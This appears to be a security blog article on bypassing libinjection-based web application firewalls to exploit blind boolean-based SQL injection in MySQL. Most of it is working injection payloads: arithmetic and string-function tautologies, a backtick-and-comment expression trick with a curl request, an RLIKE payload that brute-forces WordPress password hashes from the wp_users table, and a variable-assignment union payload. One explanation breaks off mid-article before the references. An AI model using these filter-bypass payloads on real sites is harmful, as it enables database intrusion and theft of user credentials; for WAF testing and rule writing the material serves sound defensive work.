Advanced boolean-based SQLi filter bypass techniques
Learn how to bypass filters and Application Firewall rules using MySQL String Functions, Regex Functions, Conditional Select and Set Variables to exploit a blind (boolean-based) SQL Injection vulnerability.
Learn how to bypass filters and Application Firewall rules using MySQL String Functions, Regex Functions, Conditional Select and Set Variables to exploit a blind (boolean-based) SQL Injection vulnerability. This article aims to show you some techniques to exploit a SQL Injection vulnerability bypassing libinjection (running inside a Web Application Firewall).
libinjection is an open-source SQL / SQLi tokenizer parser analyzer created by Nick Galbreath from Signal Sciences that aims to detect SQL Injection and XSS payloads. Libinjection runs in many Web Application Firewall because it performs better than a regular expression based ruleset. Despite this, it works well and it detects many SQLi payloads, and it can be bypassed by using specific SQL syntaxes such as MySQL string functions or conditional select.
Let's take a look at the following request that tries to check if the parameter id
can be injectable with SQL syntax:
/index.php?id=1+AND+1=1
It is successfully identified by libInjection as SQLi attempts. You can use a list of Arithmetic Operators, String Functions and Conditional Select syntaxes to bypass it.
Arithmetic operators
Consider you need to check a parameter with a numeric value 2
in order to see if it's vulnerable to SQL Injection. You can make it by replacing the number 2
with an arithmetic operation. For example:
Operator | Description | Example | Injection |
---|---|---|---|
+ | Addition | select 1 + 1 | /index.php?id=1%2b1 |
- | Subtraction | select 3 - 1 | /index.php?id=3-1 |
* | Multiplication | select 2 * 1 | /index.php?id=2*1 |
/ | Division | select 2 / 1 | /index.php?id=2/1 |
DIV | Integer Division | select 2 DIV 1 | /index.php?id=2+DIV+1 |
String Functions
libinjection intercept most of SQLi classic attempts like 1+OR+1=1
but, speaking of MySQL, it's possible to bypass its filters by using MySQL functions:
INSERT: Insert substring at specified position up to n characters
/index.php?id=1+OR+1=insert(1,1,1,1)--
REPEAT: Repeat a string the specified number of times
index.php?id=1+OR+1=repeat(1,1)--
REPLACE: Replace occurrences of a specified string
/index.php?id=1+OR+1=replace(1,1,1)--
RIGHT: Return the specified rightmost number of characters
/index.php?id=1+OR+1=right(1,1)--
WEIGHT_STRING: Return the weight string for a string
/index.php?id=1+OR+weight_string("foo")=weight_string("foo")--
IF statement: Implements a basic conditional construct
/index.php?id=IF(1,1,1)--
Expression and Comments to Bypass
As you might know, a useful technique that could help in bypassing filters is to insert comments inside the SQL syntax, such as sEleCt/*foo*/1
. This kind of payload is well blocked by WAF that uses libinjection but the following syntax seems to bypass it well:
{`<string>`/*comment*/(<sql syntax>)}
For example, in a real scenario:
curl -v 'http://wordpress/news.php?id=\{`foo`/*bar*/(select+1)\}'
Following some other examples:
Example | Injection |
---|---|
select login from users where id={`foo`/*bar*/(select 2)}; | /index.php?id={`foo`/*bar*/(select+2)} |
select login from users where id={`foo`/*bar*/(select--2)}; | /index.php?id={`foo`/*bar*/(select--2)} |
select login from users where id={`foo`/*bar*/(select+2)}; | /index.php?id={`foo`/*bar*/(select%2b2)} |
In a real scenario, if you found a boolean-based SQL Injection for example on a vulnerable WordPress plugin, and you need to bypass a WAF using libinjection to exploit it, you can bruteforce and exfiltrate the password hash of a user by using the following payload:
/index.php?id={`foo`/*bar*/(select+1+from+wp_users+where+user_pass+rlike+"(^)[$].*"+limit+1)}
In this case, the RLIKE operator makes me able to brute-force the hashed password value by checking the response body length after adding characters to the regular expression. For example (using any web fuzz tool):
RLIKE "(^)[$].*" -> return ok (hash: $)
RLIKE "(^)[$][a].*" -> error or different response body length
RLIKE "(^)[$][b].*" -> error or different response body length
RLIKE "(^)[$][c].*" -> return ok (hash: $c)
RLIKE "(^)[$][c][a].*" -> error or different response body length
RLIKE "(^)[$][c][b].*" -> error or different response body length
RLIKE "(^)[$][c][c].*" -> return ok (hash: $cc)
etc...
Assignment Operators
The :=
assignment operator causes the user variable on the left hand side of the operator to take on the value to its right. The value on the right hand side may be a literal value, another variable storing a value, or any legal expression that yields a scalar value, including the result of a query (provided that this value is a scalar value). You can perform multiple assignments in the same SET
statement. You can perform multiple assignments in the same statement.
Unlike =
, the :=
operator is never interpreted as a comparison operator. This means you can use :=
in any valid SQL statement (not just in SET
statements) to assign a value to a variable.
We can use all syntaxes shown before (Expression, Comments, RLIKE, and Assignment Operator) too (thanks to @seedis https://github.com/seedis). For example:
/index.php?id=@foo:=({`if`/*bar*/(select+1+from+wp_users+where+user_pass+rlike+"^[$]"+limit+1)})+union+%23%0a+distinctrow%0b+select+@foo
This requires more explaining:
References
- https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html
- https://dev.mysql.com/doc/refman/5.7/en/expressions.html
- https://dev.mysql.com/doc/refman/8.0/en/assignment-operators.html
- https://github.com/coreruleset/coreruleset/issues/1167